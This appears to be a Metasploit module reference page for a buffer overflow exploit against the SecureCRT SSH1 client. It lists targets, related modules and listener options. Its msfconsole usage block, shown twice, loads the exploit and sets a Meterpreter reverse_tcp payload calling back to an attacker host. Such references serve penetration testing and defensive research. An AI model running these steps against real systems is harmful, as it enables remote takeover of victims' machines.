SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow
This module exploits a buffer overflow in SecureCRT <= 4.0 Beta 2. By sending a vulnerable client an overly long SSH1 protocol identifier string, it is possible to execute arbitrary code. This module has only been tested on SecureCRT 3.4.4.
Exploit Rank
- Average
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - SecureCRT.exe (3.4.4) (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/ssh/freeftpd_key_exchange
- exploit/windows/ssh/freesshd_key_exchange
- exploit/windows/ssh/putty_msg_debug
- exploit/windows/ssh/sysax_ssh_username
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ssh/securecrt_ssh1
msf exploit(securecrt_ssh1) > show payloads
msf exploit(securecrt_ssh1) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(securecrt_ssh1) > set LHOST [MY IP ADDRESS]
msf exploit(securecrt_ssh1) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ssh/securecrt_ssh1
msf exploit(securecrt_ssh1) > show payloads
msf exploit(securecrt_ssh1) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(securecrt_ssh1) > set LHOST [MY IP ADDRESS]
msf exploit(securecrt_ssh1) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The SSH daemon port to listen on (default: 22) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
